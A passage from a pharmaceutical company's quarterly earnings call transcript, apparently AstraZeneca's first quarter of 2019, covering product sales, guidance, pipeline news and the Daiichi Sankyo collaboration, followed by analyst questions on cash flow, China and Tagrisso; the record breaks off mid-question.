were also prepared in this exceptional case to use long dated financing in the form of an equity issuance to bring the medicine in. But I also want to add that the equity issuance is a unique event, of course, but it reflects the uniqueness of the asset. And I think people will learn to discover the potential of this medicine, we believe, as we progress, and produce more data. It would become very apparent to everybody that this is a transformative agent that has enormous potential. We look forward to keeping you updated on further progress with our oncology strategy, and I will hand over now to Dave for a review of the latest Oncology performance. So please turn to Slide 12. David Fredrickson -- Executive Vice President and President, Oncology Business Great. Thank you so much, Pascal, and I think that it's a nice segue to bridge from a conversation about the oncology strategy to the performance within the first quarter. After I do that I'll hand over to Ruud Dobber, who will give an update on CVRM, Respiratory and Emerging Markets. Please turn to Slide 13. 2019 has really started off well for oncology, a sales of $1.9 billion in the quarter represented 59% growth and the four new medicines contributed $700 million of incremental sales. In the lung cancer franchise, Tagrisso and Imfinzi continued their launches in the new indications of first line EGFR mutated non-small cell lung cancer, and also within unresectable Stage III non-small cell lung cancer. Lynparza continued to cement itself as the leading PARP inhibitor with the first line ovarian cancer launch now under way and expanding across the globe. We continue to see encouraging uptake of Calquence in the smaller mantle cell lymphoma indication, now with sales of $29 million in the quarter. The majority of sales coming from the approved indication in the US, where we estimate as many as 40% of the patients are being treated with Calquence and we saw the majority of use in patients naive to BTKI inhibitors. This launch allowed us to build the infrastructure as we prepare for the larger chronic lymphocytic leukemia indication, where we have two pivotal Phase III readouts coming in the second half of the year. Then finally, while it's not mentioned on the slide, I do want to note that Faslodex held ground with sales of $254 million in the quarter and growth of 4%, mainly driven by performance in Emerging Markets, they were up 28%. And we do note that we anticipate to see the first generic fulvestrant in the US market relatively soon. With that let's go into the product specifics and turn to Slide 14. Starting first on Tagrisso, we're excited to share that Tagrisso is now the largest selling medicine in the AstraZeneca portfolio. It demonstrated continued growth up 92% in the quarter with $630 million in sales, as the launches in the front line setting are really taking effect across the globe. The US exhibited strong demand growth with Tagrisso sales of $259 million as we reached a high level of penetration in the front line setting in the EGFR mutated non-small cell lung cancer setting. Though that high demand was offset by inventory reductions and some gross-to-net adjustments, which resulted in a sequential decline in the US. But again we saw really good underlying demand growth. Europe reported $100 million of sales in the quarter with growth of 55% driven by increased testing rates and strong levels of demand in the second line setting, as more countries start to reimburse for the first line indication following the approval in June of 2018. Japan delivered Tagrisso sales of $123 million, up by 153% as Tagrisso reached new highs in adoption following the first line launch in the third quarter, and is now the region where we actually have the highest market share for Tagrisso across the globe. Emerging Markets delivered $138 million in sales with China contributing more than half as the NRDL listing started to take effect and we look forward the China first line regulatory decision later this quarter. Please turn to Slide 15. Staying within lung cancer and moving on to Imfinzi; Imfinzi continued quarterly growth as the US continued to see adoption of the Pacific regimen and unresectable, Stage III non-small cell lung cancer. Imfinzi reported sales of $295 million, and is now annualizing at over $1 billion a year with the vast majority coming from the US and the lung indication. In the US, we are seeing more than half of patients are now getting Chemoradiotherapy with more than half of those then getting Imfinzi after chemoradiotherapy. We see that the most immediately available patients are now benefiting from Imfinzi as evidenced by the increasing patient infusions illustrated on the graph. And our focus in 2019 is really on making sure that we drive the same level of performance outside the United States as we've now seen within the United States. During the quarter, Imfinzi secured more approvals for the Pacific regimen and now we are approved in over 45 countries. Sales outside of the US are starting to ramp up as we gain reimbursement in more countries. Japan alone delivered $34 million in sales, Europe $23 million. And we are excited to bring Imfinzi to more patients across the globe in this area of high unmet need through 2019. We've also kicked off a number of other trials in the early settings in lung cancer and beyond building on the foundations stepped by Pacific. Please now turn to Slide 16. Finally, for me on Lynparza; Lynparza demonstrated continued progress with sales of $237 million and growth across all regions as we continue to roll-out the broader second line maintenance label on ovarian cancer and the breast indication in the US and in Japan. As of last month, Europe was approved in breast cancer, and at the end of last year, we received US approval in the first line ovarian cancer setting, a new growth contributor. US sales were $119 million, where Lynparza continues to be the leading medicine in the PARP inhibitor class as measured by total prescription volumes, in what is a very competitive marketplace. Increase in demand came from the all comers label in second line ovarian cancer and the subsequent first line label, as well as the growing use within breast cancer. As you would expect, we continue to see the majority of the use of Lynparza in the ovarian cancer setting. European sales were $65 million, up by 62% and reflecting increased BRCA-testing rates as we roll-out additional launches and secure reimbursement across several markets with the inclusion of the broader EU label in ovarian cancer and for tablet. Some EU sales were also attributed to clinical trial supply. Japan delivered sales of $22 million following the launches in ovarian and breast cancer last year. Lynparza was the first PARP inhibitor launched in China, which contributed to the $26 million in Emerging Markets in the quarter. And with this I hand it over to Ruud, and please turn to Slide 17. Ruud Dobber -- Executive Vice President and President, BioPharmaceuticals Business Thank you so much, Dave. Today I am here to talk to you about the biopharmaceuticals business. Total sales of[ the two therapy areas was $2.3 billion in the quarter growing at 16%. We are very pleased with the continued growth of Farxiga and Brilinta and the ongoing successful launch of Fasenra. Symbicort and Pulmicort also continued to deliver strong sales. We look to growth on this growth including through further launches for Lokelma during 2019. Please turn to Slide 18. Moving to New CVRM, sales were up by 19% despite the intense competition in diabetes, which totaled first quarter sales at $1 billion. Growth for both Farxiga and Brilinta remains strong with double digit increases globally. Farxiga delivered sales of $349 million in the quarter, with 23% growth maintaining volume market share leadership globally. Farxiga saw US growth of 3% in the quarter, with growing slowing due to increased competition and formulary plan changes taking effect in the quarter. Outside the US, where we have 62% of sales, we have seen encouraging performances with increasing volume growth. Sales in Europe were up by 30% and Emerging Markets sales were up by 51%. Brilinta delivered sales of $348 million with 24% growth driven by a strong performance in Emerging Markets, up by 38%. We also had continuous growth in the US and Europe, up by 33% and 3% respectively. European underlying demand growth was high single-digit despite some negative inventory impact. We continue to be very pleased with the performance of Brilinta, which is still outgrowing the market in all regions. Bydureon, including the auto-injected Bydureon BCise continued to perform well with sales of 4% despite the impact of supply constraints for the new BCise device. We are on track to resolve this throughout the year and be back to normal supply in the second half of this year. Please turn to Slide 19. Turning to Respiratory, we saw 14% growth in the quarter driven by Fasenra and Pulmicort. Symbicort was down by 3% with the growth in Emerging Markets not fully offsetting pricing pressure in the US and Europe. Volume growth continues and we remain the global volume market share leader in the ICS LABA class. US Symbicort sales were down by 4% and Europe was down by 8%. However, in Emerging Markets Symbicort was up by 13%. Growth in China continue to be supported by the inclusion of Symbicort in local guidelines in 2018, as the only ICS LABA on the China essential drug list. Pulmicort was up by 16%, the sales of the $383 million. Emerging Markets was the driver of this growth, up 23%. Fasenra continue to perform, annualizing a $0.5 billion of sales, with $120 million of sales in the quarter with the majority of the sales coming from the US, Germany and Japan. In the US, Fasenra is performing against new competitors with $93 million in sales. Europe and Japan continue to deliver with $18 million and $16 million in sales respectively. Fasenra in the US, Japan and Germany maintained it's market leadership in new patient share of novel biologicals. Now I will move to Emerging Markets. Please turn to Slide 20. Emerging Markets continue to track ahead of our long-term performance ambition, which is to grow sales on average by mid to high-single digits percentage with 22% sales growth overall. Again, China delivered a very strong performance this time with 28% growth. China clearly benefited from the addition of Tagrisso on the national reimbursement drug list, which took effect at the beginning of the year. Outside China, overall sales were up by 13%. And especially Brazil delivered the strong quarter of double-digit growth driven by Farxiga, Tagrisso, and recently Lynparza. Finally the strong performance was spread across our main therapy areas with a quarter of Oncology sales coming from Emerging Markets. New CVRM was up 40%, driven by Brilinta and Farxiga, and Respiratory sales were up by 26% with Pulmicort as the key driver. With this I will hand over to Marc. Marc Dunoyer -- Executive Director and Chief Financial Officer Thank you, Ruud. And hello, everyone. I want to take you through our financial performance in the quarter, as well as our financial priorities and guidance. Could you please turn to Slide 22. As usual I will begin with the reported P&L, before turning to the core performance. As Pascal mentioned earlier, product sales grew by 14%, while there was minimal collaboration revenue in this quarter. Other operating income of around $600 million included the impact -- including the impact of divestment of right to synergies for the United States. Please turn to Slide 23. Moving to the core P&L, our gross margin ratio improved by over 2 percentage points to 80.5% reflecting the phasing of our mix of sale. Operating cost, which increased by 5% in the quarter represented 61% of total revenue, which was a 4 percentage point reduction versus the first quarter of last year. With product sales grows ahead of operating cost, we are beginning to deliver operating leverage and our core operating profit margin reached 30% supported by other operating income. The core tax rate was 23% impacted by the geographical mix of profits and disposals. Despite the higher than average core tax rate our core earnings per share doubled to $0.89 underpinned by topline growth and cost leverage. Please turn to slide 24. This is a slide I first showed you at the full-year results in February, and I will use it going forward to demonstrate our progress. It describe our financial journey and what our priorities are. We are delivering strong and sustainable sales growth driving operating leverage and improving our margin and profitability. But the story will not stop there, our focus will be on taking this down to generate, in 2020 more cash, so that we can directed to deleveraging our balance sheet and toward our progressive dividend policy. As mentioned at full-year results for 2018 in February, and looking at this year, our cash from operations plus divestments income will be broadly in line with 2018. However, there will be a number of one-off cash payments reflected in cash flows from investing activities relating to prior business development transaction. A significant proportion of this payment was met in the first quarter. As a result of the equity raise, we anticipate a reduction in net debt from the second quarter. The purpose of the equity raise was to fund the initial upfront and near-term milestone commitments arising from the collaboration with Daiichi Sankyo, as well as to strengthen AstraZeneca's balance sheet. One of the Company capital allocation priorities is to maintain a strong investment grade credit rating. The share issuance strikes an appropriate balance between the Company's equity investors and creditors. I am confident that our growing product sales and operating leverage will drive much improved cash generation above the cycle, and I am looking forward to updating you on our progress in the future. Please turn to Slide 25. Finally, I would like to reiterate our guidance for 2019, which is on product sales and core EPS at constant exchange rate. With the patent cliff now behind us, I expect product sales to grow by a high single-digit percentage. It is worth noting that the tough comparisons we have on product sales in the second half of the year. With operating leverage and a core tax rate of 18% to 22% in 2019. I anticipate growth in core EPS between $3.50 and $3.70. Outside of guidance, I also expect a reduction in the totality of collaboration revenue and other operating income. Core operating expense, I expect it to increase by low single-digit percentage, with core operating profit anticipated to increase by mid-teens percentage. Lastly, capital expenditure is expected to be broadly stable, and we are also targeting a reduction in restructuring charges. With that I will now hand over to Mene. Menelas Pangalos -- Executive Vice President and President, Research & Development BioPharmaceuticals Please turn to Slide 26. Thank you Marc and good afternoon, everyone. I'm delighted to be here today to provide an update on the progress in the pipeline since our last announcement. I'm also joined today by my counterpart Jose Baselga to discuss the oncology pipeline and our upcoming news flow. Firstly, and this is something I am very passionate about, like to take a moment to speak about the improvements in our R&D productivity over the past few years. Please turn to Slide 27. As you know, we're committed to the productivity and quality of our science across the portfolio. And I'm just wanting to highlight a few examples of the progress that we've made over the past five years in our attempt to bring new and better medicines to patient. Firstly, the number of accepted high impact publications has increased 10-fold to over 100 in 2018. This is a clear measure of the high quality of science as to underpinning the research and development in our organization. Secondly, the number of Phase II projects has increased by a third. And with this we've also achieved 30 projects with validated proof of mechanism in the same period. Again this is demonstration of quality of the molecules we're putting into the clinic, which improves the providence of transitioning them from early development to late. Finally, we've received more than 50 regulatory designations in major markets. And I'm very proud of what we achieved in 2018. It was a record breaking year with both new molecular entities and major lifecycle programs seeing 23 major market approvals in total. The most ever attained in one year in AstraZeneca's 20-year history. Please turn to Slide 28. In Respiratory, our partners Circassia received US regulatory approval for Duaklir, a medicine for the treatment of chronic obstructive pulmonary disease. In the same indication, we also listed regulatory submission acceptance for the inhaled triple combination medicine PT010. During the quarter we received US orphan drug designation for Saracatinib. This is a potential new medicine for idiopathic pulmonary fibrosis, a devastating diagnosis that results from the scarring of the lung, and this program could initiate in Phase II later in the year. Regarding Fasenra, we intend to build upon its fast onset unique model of action and strong efficacy seen in severe asthma with an extensive lifecycle program across a variety of eosinophilic driven diseases. This will include eosinophilic, granulomatosis with polyangiitis and hypereosinophilic syndrome, both of which recently received US Orphan Drug Designation, I am glad I said that properly. Please turn to Slide 29. Now focusing on New Cardiovascular Renal and Metabolism. Farxiga received approvals for the treatment of type 1 diabetes in both Europe and Japan this quarter and regulatory submission acceptance for the declared cardiovascular outcomes trials in both the US and the EU. We also received label inclusion for Bydureon's CVOT safety data in the US and Brilinta's THEMIS trial met the primary endpoint in patients with coronary artery disease and type 2 diabetes. Last month, we were pleased to see favorable guideline updates from the American Heart Association and the American College of Cardiology recommending the SGLT2 inhibitor class including Farxiga as primary prevention against cardiovascular events. This is truly important for diabetic patients, who tend to be at higher risk of developing cardiovascular disease. We have a really solid lifecycle program for Farxiga, which includes the trials DAPA-HF, DAPA-CKD and deliver looking at heart failure with reduced ejection fraction, chronic kidney disease and heart failure with preserved ejection fraction respectively. DAPA-HF is now expect to readout this year, earlier than we previously anticipated. It's important to remember that all of these lifecycle opportunities are in both diabetic and non-diabetic patients aiming to establish Farxiga as a cornerstone treatment for cardio, renal and metabolic diseases. Please turn to Slide 30. Finally, I wanted to take a moment to focus on roxadustat, the first in class Hypoxia-Inducible Factor Prolyl Hydroxylase Inhibitor, HIF-PHI. And potential neural medicine for patients with anemia caused by chronic kidney disease, CKD. As a reminder, in December 2018, we and FibroGen received Chinese regulatory approval for roxadustat in the dialysis setting and the regulatory decision in a non-dialysis dependent settings anticipated in China later this year. Late last year, we also announced the Phase III OLYMPUS and ROCKIES trials, matched their primary endpoints. During the second quarter, we are expecting the aggregated safety data across the whole program. The combination of programs between Astellas, FibroGen and ourselves. The totality of evidence from these trials will help inform our regulatory interactions. And we now expect to make a US regulatory submission in the second half of this year. Thank you all for listening. Now I'll now hand over to Jose. Please turn to Slide 31. Jose Baselga -- Executive Vice President and President, Research & Development Oncology Thank you, Mene. And hello to everybody on the call. My name is Jose Baselga, and I'm very excited to speak to you here on our results call today for the first time. I'd like to start reporting on another successful quarter for oncology, and also giving some insights in that we are preparing for a very busy second half of 2019. Since the last full-year results some new highlights include the regulatory approval in the EU of Lynparza in BRCA mutated metastatic breast cancer and also the positive high level results from POLO. This is Lynparza's Phase III trial in BRCA mutated metastatic pancreatic cancer. In the POLO trial, Lynparza met its primary endpoint of progression free survival as the first line maintenance monotherapy in patients with germline BRCA mutated metastatic pancreas cancer, whose disease had not progressed on platinum-based chemotherapy. We also announced that the results were not only positive, but were also clinically meaningful. The regulatory submission is anticipated to take place in the second half of 2019. In addition, in the US, selumetinib has received a breakthrough therapy designation in a very debilitating disorder mostly in children in Neurofibromatosis type 1. Now if we move to upcoming presentations at ASCO, that's the middle column. We will present updates on Tagrisso, on Lynparza and on Imfinzi. And we also have new data on capivasertib, which is our oral, novel oral selective Akt inhibitor, which will enter phase II -- phase III study soon. On the final part of the slide on the right, this is the news flow in the second half of this year. It's going to be busy for Imfinzi. We anticipate data readouts in the metastatic setting for a number of tumor types including non-small cell lung cancer, small cell lung cancer, head and neck, and bladder cancer. For Lynparza, we are expecting to have Phase III data readouts in prostate and in first line all-comers ovarian cancer. And then lastly, Calquence is anticipated to have two pivotal Phase III, CLL trial readouts in front-line and in the relapsed recurrent disease setting, also in the second half. Let's turn to Slide 32. And I would like to spend some time on a very exciting compound that you have heard already from Pascal. On March 29th, we announced a strategic collaboration in oncology with Daiichi Sankyo for Trastuzumab deruxtecan. This is an antibody-drug conjugate, which we feel strongly that is potentially transformative for the treatment of breast cancer, another tumor types. This new medicine will add to our rich heritage in breast cancer. It has a unique structure that delivers a higher intensity chemotherapy from the well-established tecan family. I'd like to make the point here that this payload is very unique, unlike other ADCs. And not only that, but it provides more payload on each antibody, has a very high ratio of payload per molecule. It also has upon being cleaved and has a very unique linker that is very stable, until it's been internalized. But when it's cleaved this drug has high membrane permeability that potentially contributes to its high efficacy in the HER2-low and in the HER2 mutant cancer. Now if we look at the data that is available in a large -- in a very large Phase I study. It has shown robust unprecedented duration of response of over 20 months. Together with a response rate close to 60% in a very heavily pre-treated HER2 population. These patients had received seven lines of therapy as a median. Now, in addition to the activity in HER2-high, the data obtained in HER2-low also shows promising response rate of 47% and duration of response of 11 months, also unprecedented in this population. Trastuzumab deruxtecan has already been granted Breakthrough Therapy Designation status in the US in the third line HER2 positive metastatic breast cancer. We anticipate to have data coming along. We're going to have the data of the Phase III trial, the so-called DESTINYBreast01 study in the second half of this year with the regulatory submission of the biologics license application in the US in the same timeframe. Let's now move to Slide 33, where I'd like to summarize some of the key new flow items still to come across all therapy areas. Mene mentioned earlier that the pool safety data of roxadustat is expected during the second quarter with the US regulatory submission now anticipated in the second half of 2019. Now, let's look at the data on the different key readouts including key regulatory submissions and potential regulatory decisions. If we focus first in oncology for Tagrisso, we are expecting a regulatory decision for its first line use in China. And it is anticipated in the second quarter. We also expect to have a final overall survival data for Tagrisso in first line use in the second half of the year. Moving to immuno oncology, we expect a regulatory decision for Imfinzi in unresectable, Stage III non-small cell lung cancer in China in the second half and also in the same time-frame for Lynparza, we also anticipate regulatory decisions for the SOLO-1 trial in first line BRCA mutant ovarian cancer in the EU, Japan and China. If now we move to CVRM for Farxiga, we expect to receive regulatory decision in type 1 diabetes in the US and a regulatory decision regarding the inclusion of cardiovascular outcome data for DECLARE during the second half of the year. We also plan to submit data from THEMIS, Brilinta's cardiovascular outcomes trial in coronary artery disease and type 2 diabetes for regulatory review in the second half of the year. And lastly in Respiratory, we hope to receive a regulatory decision for PT010 in COPD in China and Japan in the second half of the year and see data from the ETHOS trial. We also anticipate regulatory decisions for Fasenra's self administration and auto injector in the US and EU. For Symbicort in mild asthma in the US and for Bevespi in COPD in Japan and China in the second half of the year. Now, if we turn to Slide 34, and this is an important slide, I'd like to present our rich mid-stage pipeline. And we are going to be selecting some -- we are going to show some selected molecular entities. Last quarter Mene presented an introduction with insight into some of our new medicines that will shape our future over the next five years. Going back to Pascal's point, these are potential new medicines with opportunity for sustainable sales through use in clinical practice and the number has expanded following internal reviews. We now have a quality breadth and depth to our mid pipeline, which begins to gain pace with the initiation of the Phase III program in asthma for PT027 and also, as I mentioned already, for trastuzumab deruxtecan. We look forward to providing you with more updates through the year, for the year. Thank you, everyone, for your ongoing support, and thanks to all the colleagues in AstraZeneca, who are hot to continue to deliver new medicines to patients. I have been extremely encouraged by the level of enthusiasm and expertise and science that I've seen so far. And with that I will now hand back to Pascal for closing comments. Pascal? Pascal Soriot -- Executive Director and Chief Executive Officer Thank you, Jose. So in the interest of saving time for Q&A, I'll skip the last slide and just remind you product sales grew by 14%, and operating profit is up 96% with an operating margin of 30%. We reconfirmed our guidance for the year, and our pipeline is making good progress. So with that we'll now move to the Q&A. For those on the phone please remember to press star one to ask your questions. We'll also take written questions from the webcast. Can I please again ask everyone to try to stick to one question per person. Questions and Answers: Pascal Soriot -- Executive Director and Chief Executive Officer Thank you. And we'll now get started with Richard Parkes at Deutsche Bank. Richard, over to you. Richard Parkes -- Deutsche Bank -- Analyst Hi. Thank you very much for taking my question. Since I'm first, I'll ask the inevitable cash flow question, and it's got to pass and unfortunately so. And obviously the decision to raise equity is part of the Daiichi collaboration, has raised your focus on cash flow and your balance sheet. And I think that was triggered by the decision to raise more cash than was required for the initial upfront and milestone. So I just wondered if you could talk about that decision and was that driven by the fact that the rating agencies take into account the longer term milestones when they're looking at your rating or was it because you're seeing these additional payments from legacy business development and so impacting cash flow in the short term? So that's the first part. The second part is just on the cash flow in the first quarter and you've given some clarity on that in the release. Obviously it's still a significant negative in the first quarter and you look at working cap short term provisions and non-cash movements of more than $1 billion negative. Can you help us to understand those and get a sense of how those will develop for the full year? Thanks very much. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Richard. So I think that the line was not really good, but as hopefully we captured the two parts of your question. The first relate to the equity raise and the second relates to the cash flow itself and some other negative movements in the cash flow statement. Marc, do you want to cover both of those? Marc Dunoyer -- Executive Director and Chief Financial Officer Yes. Let me start. Richard, thank you very much for this two informative questions. So the first one on the equity. So we are -- as we have said the equity was -- the purpose of the equity was to pay for the upfront and the milestones in the early years for the Daiichi Sankyo product right (ph) acquisition, as well as to strengthen our balance sheet as we are -- we have a repayment of $1 billion bonds in September of this year. So this is exactly where we explained it. Now, turning to your question on the credit rating agencies, they tend to look at the cash flows and other -- a lot of financial metrics usually within a 12 to 24 months horizon. So they are informed and well aware of our 2019 cash flow progression. You will certainly remember that the full-year results in February of this year, I have flagged that in 2019, we would have a larger proportion of business development payments to be made. Some of them linked to deals that we have done recently, but some others linked to deals that are much older. In particular, we have had a substantial payment for a true-up of a joint venture with Merck in the United States that started in 1988 for Nexium. So some of them are recent, some of them are more historical. So that I think answers the situation of why the credit rating agencies were looking at our credit rating with some level of scrutiny. Turning to the current quarter cash flow, and what can we learn from the quarter cash flow for the full year. So first of all, we have to be very much aware that quarter to quarter cash flow comparisons are very delicate. You could have in one quarter a positive, and you can have similar quarter the following year, a negative. And of course, this exacerbates the difference. And I think the quarter one of 2019 is a very good example. We have as I've just described, the true-up with Merck for historical joint venture. This was negative of $400 million. In 2018, we had a positive for litigation that we had settled. This, so you have one-off on one side, one-off from the other side. This we have both of about $400 million each. So you have a valuation in that quarter of $800 million, which of course, is not reflective of the progression of our profitability. So this is why quarter to quarter comparisons are very delicate. Now, if you go for the full year, this is a bit less viable, but still you could have some viability. So we have said that in 2019, we will have more cd payments, then than we have had in the past. And therefore, we said that the results of cash flow for 2019 will not be as good as they have been in 2018. And I think I can confirm again the same today. Richard Parkes -- Deutsche Bank -- Analyst Thank you. Pascal Soriot -- Executive Director and Chief Executive Officer Sorry, Richard, did you have anything else you wanted to ask? Richard Parkes -- Deutsche Bank -- Analyst No. That's great. Thank you. Pascal Soriot -- Executive Director and Chief Executive Officer Great. Thanks for your question. So we'll move to Mark Purcell at Morgan Stanley. Mark, over to you. Mark Purcell -- Morgan Stanley -- Analyst Yes. Thank you, Pascal. Good afternoon. As part of the ongoing US China trade talks, it's been reported that China has offered US pharma companies eight years of regulatory data protection in China for the biologics they develop. Pascal, what are your thoughts on this and other potential offsets to the political agenda which is driving earlier and more rapid uptake of innovative medicines in China? And if I may just a point of clarification on the last question. Could you tell us which year the dividend is going to be covered by cash flow before financing activities, and which year is going to mark the start of a sustained improvement on your net cash position before M&A and internalization consideration? So just link my last question and add a comment that you made at the beginning of the call. Thank you. Pascal Soriot -- Executive Director and Chief Executive Officer Okay. Thanks, Mark. So the first question, as it relates to China, I will really start by saying that everything we've seen happening over the last year or two in China goes in the right direction, quite frankly. I mean, and I could least, for instance, the government is really protecting -- going in the direction of protecting IP or respecting IP rights, at least, in our industry. There's an emergence of an innovative industry in China, and of course, that's something that can only develop and flourish with an IP system in place. So clearly China is focused on IP rights. And we've seen acceleration of review and approval of new innovative medicines, which is a real positive. We've seen funding being deployed to reimbursing and facilitating access to new innovative medicines like Tagrisso, Farxiga, which quite frankly not long ago nobody would have thought would be reimbursed. On the other side we've seen -- of course, we've seen the emergence of generics and the price pressure on older products. So you can see China transitioning to a model that is more aligned with what we see in the western world, and driven by innovation, quite simply. We've seen that coming since quite some time and we've spent a lot of time and effort preparing for it and accelerating the development of our new products. Now as it relates to this ongoing discussions between the US and China, I would think that it is a little bit early to comment. I think we should wait until these discussions conclude. But again, I think the fact that we are debating 8 years or 10 years or more is actually reflecting that there is a discussion around IP rights, which is a good one, good discussion to have. I would only say that the gold standards really for biologics protection is 12 years. International norm started to establish itself around 10 years, that's what you see in this recent agreement between the US and Canada and Mexico. So I can only say that I would hope that China and the US can agree on 10 years, but we'll have to wait till the end of these discussions. But really I think I would look at it with a positive approach really. I mean, the discussion reflects really good progress on IP protection. So dividend, Marc, do you want to cover that? Marc Dunoyer -- Executive Director and Chief Financial Officer Yes. So I did not understand your question very clearly, but I assume that you wanted to ask about the payment of the dividend in 2020. Mark Purcell -- Morgan Stanley -- Analyst Yeah. Sorry, I'll just repeat. The question was just based on what Richard is asking some of the concerns that which year will the dividend be covered by cash flow before financing activities, and which year will mark the start of a sustained improvement in your net cash position before considerations around M&A and internalization? Marc Dunoyer -- Executive Director and Chief Financial Officer Very good. So I think the -- so first of all, one remark on the underlying trend. Obviously the continuous margin expansion and operating leverage will lead to a better cash generation from 2020. So as we -- regarding the share issuance and the relationship with the Daiichi Sankyo investments, we have said that the share issuance was going to cover the upfront and that milestone in the early years. So if we exclude the impact of Daiichi Sankyo, we anticipate to reach a coverage of our dividend in 2020. So first, and then the job will not be finished, we will continue to work on an increasing profitability, increasing operating leverage and margin expansion from 2020 onwards. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Marc. I mean, I think, Mark, we can only -- Mark Purcell, that this we can only reconfirm what we've told you before. I mean, there's no change to what we've said. We will basically cover the dividend from 2020, start reducing that from 2021. And as Marc, has in a way that he said a minute ago, essentially the equity issuance will enable us to cover the cash outlays related to this DS-8201asset, which again I think people will learn to appreciate the significance of this asset and its enormous potential. So let's move to Andrew Baum at Citi. Andrew over to you. Andrew Baum -- Citigroup -- Analyst Thank you. First question, relates to something you've already touched on in AstraZeneca's success and building a very sizable pipeline. By your own admission, I think you call out 157 projects. I'm counting around 133 for Roche. You spend about $5 billion per annum, they spend $10 billion. Without getting to hang up on the absolute numbers and talking about progressive success, I guess what I'm getting at is, could you give us some indication on the rate of increase for R&D spend, given the opportunities in front of you? And then related to that, could you talk about the extent to which there can be much further privatization of your portfolio including throughout licensing, especially now given the integration of MedImmune? And then separately, if Susan is on line or to Jose, there is now been two sets of data with PARP inhibitors, showing the prostate cancer having ATM mutations are not PARP responsive and this is obviously part of the population for their primary endpoints of your profound trial, which reports at the end of this year. How do you think about the (inaudible) and the size of the market in the event this pans out within that trial? And apologies for the second question. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Andrew. And that's great -- two great questions. So maybe what I would propose, Mene, if you could cover the first one, and then if Jose or (inaudible) I'll ask the mother of these great medicine, Lynparza, to answer the second question. If that's OK? So Mene, do you want to go -- about the size of the pipeline. Menelas Pangalos -- Executive Vice President and President, Research & Development BioPharmaceuticals Yes. So as you articulate, we do have a rich array of molecules that push the therapy areas in early to mid stage. And I think, the key actually is generating confidence in the data set that enable you to be comfortable and confident moving into late stage development, where obviously the big investments are made. So I think rigorous prioritization which is something that we're actively doing on a regular basis and then making sure that we ask really good questions in our development to demonstrate proof of mechanism, early signs of efficacy. So that when we move things into Phase III, we have a high probability of successfully launching the medicines, I think is key. And it's a much better place to be. than not having enough molecules in your pipeline, we're actually just moving this forward, because you can't. And then the surplus molecules that we have if there are things with low priority, Andrew, absolutely we would out license them. We'll work out how to partner them in a way to get them to patients as fast as possible. Jose Baselga -- Executive Vice President and President, Research & Development Oncology And we understood this process, Andrew, of privatizing a few mid-stage projects and accelerating them to the extent we can and doing this prioritization and selection of the most promising project. But I think that as Mene said, we should keep in mind our productivity has increased. And we have been able with the low R&D budget to deliver a very rich pipeline relative to some of our competitors. But still we need to continue prioritizing Lynparza to them. Susan Galbraith -- Senior Vice President, R&D Oncology Okay. Thanks Andrew, for the question. The one thing to know is there will be more data that's coming out from expanded data set from (inaudible) at ASCO coming up, so look for that from Johann de Bono's Group. And clearly across the panel of genes that can produce homologous repair and recombination and deficiency. There is some variation in the relative sensitivity to pop inhibition. Nonetheless, we've got very good strong proof of principle from the data in the eventual type (inaudible) and the patients with ATM loss do have activity as theme with long and durable responses, where the last group treatment. So one thing to bear in mind is the testing for ATM. As with all of these big genes, I think there's probably increased sensitivity when you've got biallelic loss rather than just monoallelic loss. I think, so getting the testing right is important. We've taken that consideration into account when we've designed the studies that we have ongoing. So we remain confident that the study is designed well to look for the size of benefit that has been powered to detect across the patients that were enrolled. Pascal Soriot -- Executive Director and Chief Executive Officer Thank you. So thanks to them. So let's move to Naresh Chouhan at Intrinsic Health. Naresh has a question that is asked online. I think it's for you, Dave. And the question -- I will read the question so everybody can benefit from it. And then, and it is, please can you help us to understand the slow down in Tagrisso. I guess the question relates to the US mainly, underlying demand only grew mid single digits quarter-on-quarter, but penetration is only 60%, some discussion about where you expect penetration to peak -- to pick at would be helpful. David Fredrickson -- Executive Vice President and President, Oncology Business Yeah. Great. Thanks, Pascal, and thanks for the question. I think first to start with, so I think you're pointing out that in the US that there was a decline in the sequential growth quarter-over-quarter. I do think that it's important to point out that obviously the year-over-year growth of Tagrisso has been quite tremendous. And I think that given where we are in the launch of Tagrisso, we're quite pleased with mid to high single-digit demand. We look at the demand is that the primary measure of the health of the brand, and at the end of the year there are always inventory movements and one offs, and you'll recall that we had described that is happening in the fourth quarter last year within China. And we saw China rebound back quite nicely. As we said that it would in the first quarter this year. I think the other piece that I'd like to highlight here is, is that I think what you see is also the strength of the diversity of the geographies that we operate in. And again here you saw sequential growth globally of 6% for Tagrisso. And I've been working in oncology a long time. You see these S curves, where the goal is you get as rapidly up the adoption curve as possible in various regions. And you know that US will be first and usually Japan and Europe follow on the heels of that and then China comes after that. So on your question about what's the top penetration that we can expect, TKIs, as a class, have about 80% to 85% penetration of the front line market space. There are remarkably still patients despite TKIs having been on the market for decades that are still getting chemotherapy. Our even IO/chemo as their first therapy that's part of our educational effort. But that's what I'd look at in terms of what the maximum potential of the classes. Pascal Soriot -- Executive Director and Chief Executive Officer Thank you, Dave. So Jo Walton at Credit Suisse is next in line. Jo go ahead. Jo Walton -- Credit Suisse -- Analyst I wonder if I could just return to China and get a little bit more information about it. Sanofi pointed in their strong results in China today to a pull through of demand into 1Q, that would otherwise have been in 2Q, because there's a change to value based pricing. I wonder if you felt that there was any distortion in your numbers and then as you reflect on how things go going forward, should we see -- are there any particular products where we should see a decline in growth. And I wonder if you could also help us by giving us the absolute sales of Tagrisso in China? Thank you. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Jo. So I'll ask Dave, if he have the number to answer the second question. The first question is clearly, no. We haven't had any effect as you described that Sanofi mentioned. In fact, I would say it was the other way around as we are concerned. We had an inventory decrease in Q1, and at the end of Q1, our trade inventory is frankly the lowest it can get to. I mean, we cannot get lower or we would have supply issues. So we have very low inventory in the trade in China. We haven't seen that effect. In fact, again, we have had an inventory decline. So the Tagrisso question in China, Dave, to you. David Fredrickson -- Executive Vice President and President, Oncology Business Yeah. So, Jo, we don't share the specific sales levels for our individual brands within China. What I can say is that we certainly saw a very nice increase in oncology sales in the Emerging Markets. Oncology sales growth of 43%, and Tagrisso was a significant contributor to that. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Dave. So Keyur Parekh. Keyur, go ahead. Keyur Parekh -- Goldman Sachs -- Analyst Thank you. Two questions, please. The first one, Coming back to cash flow for Marc. Marc, when you talk about covering the dividend in 2020 from operational cash flow, is that pre or post CapEx annual royalty payments to Bristol and 